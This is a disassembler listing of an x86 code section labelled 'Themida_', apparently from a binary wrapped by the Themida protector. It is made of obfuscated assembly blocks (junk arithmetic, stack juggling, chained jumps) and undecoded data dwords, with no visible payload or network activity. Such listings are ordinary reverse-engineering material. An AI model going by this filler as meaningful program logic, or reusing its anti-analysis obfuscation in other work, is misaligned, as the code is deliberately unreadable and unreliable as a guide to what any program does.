loc_50427D:				; CODE XREF: Themida_:00505247j
		add	ebx, 0D5F4926h
		sub	ebx, eax
		sub	ebx, 0D5F4926h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5097A3
; ---------------------------------------------------------------------------

loc_504294:				; CODE XREF: Themida_:0050F9FFj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_50F4EE
; ---------------------------------------------------------------------------

loc_5042A5:				; CODE XREF: Themida_:005025FFj
		add	edx, 4
		sub	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_505999
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_510909
; ---------------------------------------------------------------------------

loc_5042D3:				; CODE XREF: Themida_:0050DD5Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5122BB
; ---------------------------------------------------------------------------
aFkse		db 'fK`',0
		dd 81DEF700h, 0A15FD6EEh, 0DAF6811Ah, 8166E92Dh, 0E7E479C6h
		dd 0EDCCE969h, 0BF570000h, 34404A04h, 79687ABAh, 0CE89E90Fh
		dd 5066FFFFh, 53E9E9h, 0D7E95000h, 8BFFFFE4h, 0EC832424h
		dd 24248904h, 4240481h,	8F000000h, 4812404h, 424h, 2434FF00h
		dd 4C4815Fh, 0E9000000h, 8DD3h,	5C240C87h, 7043E9h, 2434FF00h
		dd 50240C8Bh, 405E089h,	5000000h, 4, 5C240487h,	4142E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504372:				; CODE XREF: Themida_:0050210Aj
		mov	ecx, 270639E3h
		jmp	loc_505131
; ---------------------------------------------------------------------------

loc_50437C:				; CODE XREF: Themida_:00511E2Aj
		mov	esp, [esp]
		shl	ebp, 8
		shr	ebp, 2
		push	363Dh
		mov	[esp], esi
		jmp	loc_5104E1
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 0C3F6803Ch, 0E95AF128h, 676Ah
; ---------------------------------------------------------------------------

loc_5043A0:				; CODE XREF: Themida_:00513392j
		or	dl, cl
		pop	ecx
		sub	dl, 1
		dec	dl
		and	dl, 42h
		jmp	loc_507F5A
; ---------------------------------------------------------------------------
		dd 323E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5043B6:				; CODE XREF: Themida_:00508000j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	5599h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	ecx
		mov	ecx, 1BB08FEh
		push	ecx
		xor	dword ptr [esp], 70804F34h
		pop	esi
		xor	esi, 70804F34h
		pop	ecx
		dec	esi
		jmp	loc_5020A0
; ---------------------------------------------------------------------------
		db 81h
		dd 97E1BEBh, 18EB814Bh,	0E9555E6Dh, 4853h, 3378E981h, 0E98130BFh
		dd 677C27A2h, 8324348Bh, 4EE904C4h, 0AD000064h,	276F6853h
		dd 0C890000h, 489BB924h, 0E1C16352h, 0B4E95206h, 0BDFFFFDBh
		dd 4, 0E2BFE9h
		db 0
; ---------------------------------------------------------------------------

loc_504449:				; CODE XREF: Themida_:0050BAD8j
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5B8361B2h
		jmp	loc_506B12
; ---------------------------------------------------------------------------
		dd 24048B66h, 685B5453h, 3DEDh,	0E9240C89h, 0FD04h, 0B652665Bh
		dd 4EC83E6h, 0E9241C89h, 108h, 0D5EDC181h, 5751A4BFh, 36635DBFh
		dd 2444810Eh, 2A73E004h, 247C291Ch, 246C8104h, 2A73E004h
		dd 93AE91Ch
		db 1, 0
; ---------------------------------------------------------------------------

loc_5044A6:				; CODE XREF: Themida_:00512FE1j
		dec	ecx
		neg	ecx
		push	esi
		mov	esi, 82A02E9Ah
		xor	ecx, esi
		jmp	loc_507C64
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5D0F704h, 9D6C964Ch,	5158C389h, 2C33FDB9h, 244C012Ah
		dd 5C295908h, 6C810424h, 33FD0424h, 1C8B2A2Ch, 4C48124h
		dd 57000000h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 0D1682404h
		dd 8900002Bh, 9C68242Ch, 8B238C73h, 0C483242Ch,	6EED8104h
		dd 0E9682F24h, 5E6Bh
; ---------------------------------------------------------------------------

loc_504514:				; CODE XREF: Themida_:005097BCj
		add	ebx, 0C470E560h
		jmp	loc_504C37
; ---------------------------------------------------------------------------

loc_50451F:				; CODE XREF: Themida_:00506010j
		pop	esi
		jmp	loc_5025FE
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 24148B66h, 3F2768h, 242C8900h, 4EC81h, 4890000h, 5E08924h
		dd 4, 0F655E9h,	52C76800h, 34890000h, 81E68924h, 4ECh
		dd 242C8900h, 5264CCBDh, 88B85003h, 0D14E066Ah,	0D07C2DE8h
		dd 0C53123B0h, 0FFC5C2E9h, 58C629FFh, 6632E9h
		db 0
; ---------------------------------------------------------------------------

loc_50457D:				; CODE XREF: Themida_:00505012j
		push	ecx
		mov	ecx, 96A54DDh
		jmp	loc_50D253
; ---------------------------------------------------------------------------
		dd 0C3FE46B3h, 8005E380h, 2BE9E9C3h, 81FFFFEAh,	4B0A8FEAh
		dd 0E9EA017Fh, 3B03h
; ---------------------------------------------------------------------------

loc_5045A4:				; CODE XREF: Themida_:00509011j
		add	esi, 1E3D0CCBh
		jmp	loc_50DF80
; ---------------------------------------------------------------------------

loc_5045AF:				; CODE XREF: Themida_:0050DB83j
		mov	ebp, [esp]
		push	esi
		jmp	loc_502235
; ---------------------------------------------------------------------------
aISs		db ',$S{',0
		align 10h
		dd 19D0E681h, 545315A0h, 0BD6AE9h, 5AD08900h, 33CDE9h
		dd 242C8900h, 0CC2AE9h,	7956BD00h, 0D5F7605Ah, 0FC3BE955h
		dd 0EC83FFFFh, 243C8904h, 0E9535F54h, 60BCh, 0EBE9DD31h
		dd 8100002Dh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_51250D
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0F3h
		dd 500000EDh, 0FFE387E9h, 4C483FFh, 43C8EE81h, 0C68146F0h
		dd 6D2C7D01h, 0EE81EE29h, 6D2C7D01h, 43C8C681h,	2C8B46F0h
		dd 4C48124h, 68000000h,	46B8h, 68240C89h, 613C654Eh, 0FFD19DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_504651:				; CODE XREF: Themida_:0050AA2Bj
		mov	edx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	ebp
		push	7D28h
		jmp	loc_502B8C
; ---------------------------------------------------------------------------

loc_504673:				; CODE XREF: Themida_:00501689j
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 65C8753Bh
		and	ebp, 23370F0Eh
		push	ecx
		push	edx
		push	56EA4225h
		jmp	loc_500267
; ---------------------------------------------------------------------------
		dd 6EFB951h, 0CE31064Ah, 73E68159h, 8162FA15h, 0F7EAF2C6h
		dd 5EF701FDh, 41D8BD55h, 0E5C145F4h, 299E908h, 34890001h
		dd 815E5424h, 4C6h, 9EB85000h, 532A8031h, 0D2FDE9h, 4EC8300h
		dd 50241C89h, 0ED43BFB8h, 0B9E2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5046EA:				; CODE XREF: Themida_:0050CA0Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0B50064Ch
		push	ebp
		mov	ebp, 60286B2Fh
		not	ebp
		add	ebp, 48AF2EB8h
		sub	ebp, 582C3C70h
		and	ebp, 2CA20D11h
		add	ebp, 4DC303FFh
		sub	ebx, 12B64166h
		sub	ebx, ebp
		add	ebx, 12B64166h
		jmp	loc_513AB6
; ---------------------------------------------------------------------------
		dw 8958h
		dd 0C80158C1h, 8D4FE959h, 0F2800000h, 5AD38897h, 0E3C0C3FEh
		dd 0F6536607h, 4FE2414h, 805B6624h, 0EBC087C3h,	50F38008h
		dd 285BDD88h, 4BE0E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504762:				; CODE XREF: Themida_:00514A17j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_50CB6B
; ---------------------------------------------------------------------------

loc_504773:				; CODE XREF: Themida_:0050B34Fj
		mov	ecx, 13172142h
		not	ecx
		sub	ecx, 443167AAh
		jmp	loc_513C83
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2
		dd 11E6D57h, 2EB81C3h, 831E6D57h, 48904ECh, 759FE924h
		dd 40590000h, 0E8C1D8F7h, 57D0F702h, 0F56FD7BFh, 5FF83165h
		dd 9B83EC2Dh, 2BC4E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5047BA:				; CODE XREF: Themida_:004FFE48j
		not	ecx
		xchg	ecx, ebx
		push	ecx
		push	2F38h
		jmp	loc_51046A
; ---------------------------------------------------------------------------

loc_5047C9:				; CODE XREF: Themida_:00506BE3j
		add	esi, ebx
		add	esi, 125E5BBDh
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_501A81
; ---------------------------------------------------------------------------
		dd 0E4F18159h, 0F74FF969h, 21E981D1h, 5155F20Fh, 0DEF7595Eh
		dd 453EF681h, 0E6C16F34h, 63E68106h, 8116E431h,	4B010EF6h
		dd 14F7567Eh, 0F6815E24h, 0BB36801Dh, 348BF701h, 0FB3FE924h
		dd 0C2210000h, 83CA8158h, 810FAF60h, 4C5ECDF2h,	0BB91E977h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504832:				; CODE XREF: Themida_:0050FFBEj
		sub	al, 0CFh
		jmp	loc_50B559
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 62A5B951h, 0CE31553Ch, 0FFB87AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_504849:				; CODE XREF: Themida_:00511E8Fj
		sub	cl, 17h
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_511E2F
; ---------------------------------------------------------------------------

loc_50485E:				; CODE XREF: Themida_:00505F84j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	2355h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	787Ah
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	esi
		jmp	loc_512A0A
; ---------------------------------------------------------------------------
aZSX		db ' X',0
		align 2

loc_50489E:				; CODE XREF: Themida_:0050F0EAj
		mov	edx, esp
		add	edx, 4
		jmp	loc_502C39
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 1E81E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5048BA:				; CODE XREF: Themida_:005007BEj
		inc	edx
		xor	edx, 3A1927Fh
		jmp	loc_5119FC
; ---------------------------------------------------------------------------
		dw 0BFBAh
		dd 81013F53h, 1A1C02F2h, 0D2F74A51h, 0EB8EF281h, 0B9E988F5h
		dd 51000032h, 0E98054B1h, 59C82895h, 34FFC320h,	2739E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5048F2:				; CODE XREF: Themida_:00513068j
		mov	ebx, [esp]
		jmp	loc_513EC3
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 74AEE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504902:				; CODE XREF: Themida_:0050BB07j
		push	edi
		jmp	loc_504A25
; ---------------------------------------------------------------------------
		dd 207F83ADh, 90840F00h, 53FFFFE7h, 8418DFBBh, 0C381435Ch
		dd 0D94010E0h, 6CC2C681h, 0DE011450h, 6CC2EE81h, 815B1450h
		dd 1C4C8FC6h, 7100E976h, 0D0F70000h, 0EAF1CE2Dh, 58C52974h
		dd 2528CD81h, 0B9515A73h, 5FF77D7Bh, 3311C581h,	0C9E90B05h
		dd 810000E9h, 0DD3B92F1h, 0E9CF291Fh, 45F1h, 8024248Bh
		dd 0EC81D2EEh, 4, 0E9241C89h, 265Ch
; ---------------------------------------------------------------------------

loc_50497C:				; CODE XREF: Themida_:00514CE2j
		shr	ebp, 2
		add	ebp, 29B84365h
		mov	ebx, ebp
		pop	ebp
		push	ebx
		pop	ecx
		pop	ebx
		add	ebx, 35A262Fh
		add	ebx, ecx
		sub	ebx, 35A262Fh
		mov	ecx, [esp]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		jmp	loc_51370A
; ---------------------------------------------------------------------------

loc_5049AB:				; CODE XREF: Themida_:0050D35Aj
		shr	edi, 8
		xor	edi, 21EE25EBh
		push	ebx
		mov	ebx, 1BC80877h
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 0FA10AEF3h
		sub	esi, 6ACB1418h
		sub	esi, 426F049Fh
		jmp	loc_50B6B1
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 15C7h
; ---------------------------------------------------------------------------

loc_5049E4:				; CODE XREF: Themida_:005017E9j
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		xor	[eax], ecx
		pop	eax
		pop	ebx
		jmp	loc_50150B
; ---------------------------------------------------------------------------
		db 0F7h
aS_6		db 'ֲ',0
		align 2
		dw 0C681h
		dd 4, 8704C683h, 685C2434h, 4B79h, 55243489h, 0AB3C0868h
		dd 0C5815D5Bh, 0A454C3FCh, 5DA7E9h
		db 0
; ---------------------------------------------------------------------------

loc_504A25:				; CODE XREF: Themida_:00504903j
		mov	edi, 374A75ADh
		push	esi
		mov	esi, 511F6539h
		not	esi
		shr	esi, 4
		add	esi, 0FFD1FA36h
		or	edi, esi
		pop	esi
		or	edi, 4CA36002h
		sub	edi, 0C7470BBh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_507DEA
; ---------------------------------------------------------------------------

loc_504A54:				; CODE XREF: Themida_:0050CAEEj
		add	ebx, 4
		jmp	loc_50F47B
; ---------------------------------------------------------------------------

loc_504A5C:				; CODE XREF: Themida_:0050F51Cj
		add	edx, edi
		pop	edi
		jmp	loc_50EEB7
; ---------------------------------------------------------------------------

loc_504A64:				; CODE XREF: Themida_:005102BBj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_507753
; ---------------------------------------------------------------------------
aSs2		db 'S2',0
		dd 17E95100h, 680000E2h, 771Dh,	0BF243C89h, 4, 0E95FFA01h
		dd 713Eh, 7FBE5651h, 5709566Ah,	24048156h, 41070DB8h, 0EDE9565Fh
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_504AB3:				; CODE XREF: Themida_:0050789Bj
		mov	ebp, 703F1905h
		and	ebp, 59602645h
		and	ebp, 41F341A3h
		add	ebp, 0ABA4236Fh
		jmp	loc_501A9A
; ---------------------------------------------------------------------------
		db 81h
		dd 0E34D32EBh, 3EBC14Eh, 285AEB81h, 0B7E9CAA9h,	0BF0000BFh
		dd 4, 3C8BFD01h, 4EC8124h, 89000000h, 0E789243Ch, 0BF4CE9h
		dd 69E95300h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_504B03:				; CODE XREF: Themida_:0051208Dj
		add	esp, 4
		shr	edi, 4
		shr	edi, 2
		sub	esp, 4
		jmp	loc_509105
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 889Ch
; ---------------------------------------------------------------------------

loc_504B1C:				; CODE XREF: Themida_:0050BCE1j
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 796E79EAh
		xor	ecx, 1F915926h
		add	ecx, 1
		add	ecx, 44231701h
		dec	ecx
		add	ecx, 54DDC837h
		jmp	loc_50BB8C
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 368D0454h, 0B69FE9h
		db 0
; ---------------------------------------------------------------------------

loc_504B51:				; CODE XREF: Themida_:0050DF21j
		pop	ebx
		sub	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		jmp	loc_51136A
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 71B16804h, 3C890000h, 4EC8324h, 81242489h, 42404h, 835F0000h
		dd 0C8904ECh, 4B924h, 0CF010000h, 592434FFh, 540068h, 240C8900h
		dd 6EE9E189h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_504B97:				; CODE XREF: Themida_:0050CB84j
		pop	ebx
		sub	ecx, edi
		pop	edi
		not	ecx
		push	ebx
		mov	ebx, 38814AD7h
		jmp	loc_51316B
; ---------------------------------------------------------------------------
		dd 7CDEE81h, 0F189F16Ch, 2611E9h
		db 0
; ---------------------------------------------------------------------------

loc_504BB5:				; CODE XREF: Themida_:00510780j
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	ebx
		jmp	loc_5089F0
; ---------------------------------------------------------------------------
		dw 8B58h
		dd 0C481240Ch, 4, 885BD988h, 0C2E959CFh, 57000000h, 7A28F6BFh
		dd 1008E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504BE2:				; CODE XREF: Themida_:00512FBEj
		pop	dword ptr [esp]
		pop	esp
		or	edi, 3CD9224Bh
		add	edi, 25E20C9Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4AAB0E4Ah
		inc	eax
		inc	eax
		add	eax, 0B9A4F59Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8D12A6Ch
		and	ebx, 34A474A6h
		add	ebx, 26F2EC37h
		sub	edi, 349E736Dh
		sub	edi, ebx
		add	edi, 349E736Dh
		pop	ebx
		add	edi, eax
		jmp	loc_503BE3
; ---------------------------------------------------------------------------

loc_504C37:				; CODE XREF: Themida_:0050451Aj
		push	ebp
		push	edx
		mov	edx, ebx
		jmp	loc_4FFA7B
; ---------------------------------------------------------------------------
		dd 8104C483h, 0C063EFEBh, 0E9FB016Ah, 9BFh
; ---------------------------------------------------------------------------

loc_504C50:				; CODE XREF: Themida_:005051EEj
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	4
		jmp	loc_50173B
; ---------------------------------------------------------------------------

loc_504C61:				; CODE XREF: Themida_:0050070Bj
		add	esi, 5C8D75BBh
		or	esi, 32506373h
		jmp	loc_504272
; ---------------------------------------------------------------------------
aRsrf		db 'RF',0
		align 4
		dd 815BDD29h, 0BF54D6C5h, 0BCA5E9C1h, 158FFFFh,	5A042454h
		dd 0C6C7E9h, 4FD7F700h,	0FFFDE8E9h, 873C88FFh, 0E92434FFh
		dd 0BC02h
; ---------------------------------------------------------------------------

loc_504CA4:				; CODE XREF: Themida_:0050C17Dj
		sub	edx, 4
		jmp	loc_50076C
; ---------------------------------------------------------------------------
		db 0FFh
a4Zsau		db '4$ZU',0
		align 4
		unicode	0, <h>,0
		dd 24342900h, 32F6815Eh, 83CAE813h, 1C8904ECh, 42C9BB24h
		dd 6EE938FCh, 10000A7h,	2434FFC2h, 4C48358h, 31241433h
		dd 14332414h, 24248B24h, 0C8BE0F66h, 589F68h, 242C8900h
		dd 0FFAFABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_504CFD:				; CODE XREF: Themida_:00506674j
		pop	ebp
		jmp	loc_507586
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 5704C783h, 42474FFh, 1B26E9h
		db 0
; ---------------------------------------------------------------------------

loc_504D19:				; CODE XREF: Themida_:0050D559j
		add	ecx, edi
		push	ebx
		mov	ebx, 74442A8Ah
		shr	ebx, 7
		not	ebx
		and	ebx, 66524655h
		shl	ebx, 6
		dec	ebx
		add	ebx, 0D759A94Eh
		add	ecx, ebx
		jmp	loc_506539
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFC1E0E9h, 81E789FFh, 4C7h,	4C78100h, 87000000h, 248B243Ch
		dd 0D04BE924h, 0B3E90000h, 0BEFFFFAAh, 40885039h, 8108EEC1h
		dd 0FFFFFFC6h, 4EA2E9FFh, 0FD010000h, 0B139E9h,	81C22900h
		dd 0B5100BC2h, 0DEEA812Fh, 58127C1Bh, 0B583E9h,	0EB816600h
		dd 1DE93801h, 52FFFFB2h, 0C281E289h, 4,	18AFE9h, 0FD885100h
		dd 88EB8853h, 0D418E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504DB6:				; CODE XREF: Themida_:0050960Cj
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_50EE82
; ---------------------------------------------------------------------------
		dd 5247C480h, 1AC4E9h, 24048700h, 4C4835Ch, 0E141E9h, 2CD06800h
		dd 34890000h, 26824h, 348B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_500F92
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95D0424h, 0FE8Bh
; ---------------------------------------------------------------------------

loc_504E00:				; CODE XREF: Themida_:00511202j
		push	edi
		jmp	loc_50EBFD
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 6F207E30h, 0F3E5E9h,	5DEE8100h, 0E917D45Fh, 5F57h
; ---------------------------------------------------------------------------

loc_504E1C:				; CODE XREF: Themida_:00509D83j
		push	ebx
		mov	ebx, 0F08D4938h
		add	esi, ebx
		jmp	loc_503193
; ---------------------------------------------------------------------------

loc_504E29:				; CODE XREF: Themida_:0050E9F2j
		xchg	eax, [esp]
		jmp	loc_511326
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 186Eh, 49486866h, 240C8966h,	0C78001B1h, 0E9CF28F9h
		dd 6975h, 5659CF01h, 4BEh, 5EF70100h, 5C243C87h, 0F2CE9h
		dd 4C48100h, 68000000h,	511Fh, 89243489h, 4C681E6h, 81000000h
		dd 4C6h, 24343300h, 0E9243431h,	0A92Ch,	8B2434FFh, 0C481243Ch
		dd 4, 815E5456h, 4C6h, 9940E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504EA2:				; CODE XREF: Themida_:0050925Cj
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5104E8
; ---------------------------------------------------------------------------
		dd 2364B5BFh, 0A25FE91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504EBA:				; CODE XREF: Themida_:00501114j
		pop	ebp
		push	ebx
		jmp	loc_506144
; ---------------------------------------------------------------------------
		dd offset dword_4AA85C+10Ch
		align 2
		dw 8953h
		dd 4C381E3h, 83000000h,	1C8704EBh, 2C895C24h, 0ADFE924h
		dd 2C8B0000h, 4C48124h,	5E000000h, 4247C01h, 4244481h
		dd 7E7A7967h, 0D9E95B5Fh, 810000BAh, 4C7h, 0C7C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504F06:				; CODE XREF: Themida_:0050933Dj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_503609
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0E789243Ch, 2DBA5251h
		dd 0B9567567h, 56756731h, 0E95AD129h, 0FFFFEA77h
; ---------------------------------------------------------------------------

loc_504F3C:				; CODE XREF: Themida_:00514C7Cj
		neg	esi
		and	esi, 1DC11256h
		not	esi
		sub	esi, 0F3BEFDF7h
		mov	ecx, esi
		pop	esi
		sub	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_50B4F2
; ---------------------------------------------------------------------------
		dd 42474FFh, 6811E95Bh,	34FF0000h, 0C210E924h, 575F0000h
		dd 36B729BFh, 5FFB297Fh, 4053BB53h, 0DA29709Eh,	0DCC2815Bh
		dd 164DA72h, 0DCEA81DAh, 8164DA72h, 4ECh, 24348900h, 0E7EF1BEh
		dd 0C0EEE94Fh, 0F6BF0000h, 130776Fh, 0EBE95FF9h, 810000FBh
		dd 7D5693C6h, 5EEC167h,	0F9E9574Eh, 59000025h, 35E95753h
		dd 81FFFFE2h, 0CB4285CAh, 8BF28157h, 1FFDFDFh, 24148BD3h
		dd 8104C483h, 4ECh, 24048900h, 2B8h, 0E9C30100h, 0FFFFE895h
		dd 7E8C15Fh, 547B7505h,	32E02D4Ch, 54852F6h, 72272951h
		dd 1BDEC281h, 0EA81127Ch, 2FB5100Bh, 0FFFD6CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505011:				; CODE XREF: Themida_:0050374Cj
		push	ebp
		jmp	loc_50457D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 667A5D0Ch, 1BD9CF81h, 0C7812617h, 0A936FD17h, 815FFD29h
		dd 6BC3D2C5h, 0DC46E982h, 0A9BB0000h, 0C15A680Eh, 3CE903EBh
		dd 8100009Ah, 0D2C82DF7h, 0DAC18171h, 1347722h,	0DAE981F9h
		dd 5F347722h, 5C240C87h, 5104C783h, 4874E9h, 5DE80100h
		dd 1E94E9h, 242C8100h, 6E9C3793h, 93C6815Eh, 596E9C37h
		dd 0ACE9F089h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505083:				; CODE XREF: Themida_:0050885Dj
		mov	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_50E473
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		push	17AFh
		jmp	loc_507244
; ---------------------------------------------------------------------------

loc_5050A5:				; CODE XREF: Themida_:005088F9j
		xchg	ebp, [esp]
		jmp	loc_50D94B
; ---------------------------------------------------------------------------

loc_5050AD:				; CODE XREF: Themida_:00507CE1j
		shl	ebp, 8
		and	ebp, 1BFC357Dh
		add	ebp, 0F79FF004h
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_50CE72
; ---------------------------------------------------------------------------
		db 56h
		dd 9F0736BEh, 4EEC14Ah,	436FCE81h, 0F6812F1Ah, 6BA80E45h
		dd 4E05EEC1h, 0DB7FF681h, 0F0015878h, 0E9F0295Eh, 0FFFFD9F4h
; ---------------------------------------------------------------------------

loc_5050FC:				; CODE XREF: Themida_:00511976j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_502C98
; ---------------------------------------------------------------------------

loc_505105:				; CODE XREF: Themida_:0050AE36j
		pop	ebp
		jmp	loc_508C89
; ---------------------------------------------------------------------------

loc_50510B:				; CODE XREF: Themida_:00507BF7j
		add	esp, 4
		jmp	loc_50007B
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0A6F8E924h, 0EC81FFFFh, 4, 68243C89h, 1F3260C0h
		dd 5094E9h
		db 0
; ---------------------------------------------------------------------------

loc_505131:				; CODE XREF: Themida_:00504377j
		sub	ebp, ecx
		pop	ecx
		not	ebp
		jmp	loc_506356
; ---------------------------------------------------------------------------

loc_50513B:				; CODE XREF: Themida_:0051057Ej
		push	2749h
		mov	[esp], ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_510668
; ---------------------------------------------------------------------------
		dd 88F98851h, 865B59CCh, 86D3F6DCh, 68C4FEDCh, 50ADh, 0B048E9h
		db 0
; ---------------------------------------------------------------------------

loc_50516D:				; CODE XREF: Themida_:00511F97j
		xchg	ebp, [esp]
		jmp	loc_5111C8
; ---------------------------------------------------------------------------
		db 5Bh,	5Eh, 56h
		dd 33240431h, 4312404h,	68D0F724h, 0EE2h, 0FF240489h, 58042474h
		dd 0F3C5E9h, 81D30100h,	0D7475EEBh, 83BD555Dh, 56256604h
		dd 0D07B57BEh, 0FFF5294Ah, 815E2434h, 4C4h, 0CD814500h
		dd 24D41F51h, 0A866F581h, 0EB29CF48h, 24148B5Dh, 4C481h
		dd 0E9590000h, 0FFFFA642h
; ---------------------------------------------------------------------------

loc_5051D4:				; CODE XREF: Themida_:0050214Bj
		mov	esp, [esp]
		mov	[esp], ebx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		jmp	loc_504C50
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832414h, 24248904h, 11C5E9h
		db 0
; ---------------------------------------------------------------------------

loc_505201:				; CODE XREF: Themida_:005016EEj
		pop	ebp
		sub	ebx, eax
		sub	ebx, 69984A59h
		xor	edx, eax
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 0B8h, 79h, 51h
		dd 0BD55CDE8h, 134B2CB1h, 5418E9h, 4EF8100h, 87000000h
		dd 895C243Ch, 0B252241Ch, 0F280ABh, 88E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_505239:				; CODE XREF: Themida_:00514217j
		sub	ebx, 51C6CF89h
		add	eax, ebx
		pop	ebx
		add	eax, 0D46ACB44h
		jmp	loc_50427D
; ---------------------------------------------------------------------------

loc_50524C:				; CODE XREF: Themida_:0050271Dj
		pop	ecx
		jmp	loc_50D915
; ---------------------------------------------------------------------------

loc_505252:				; CODE XREF: Themida_:0050C65Fj
		sub	eax, 612E7D5Ch
		add	eax, ebx
		jmp	loc_50C8A3
; ---------------------------------------------------------------------------

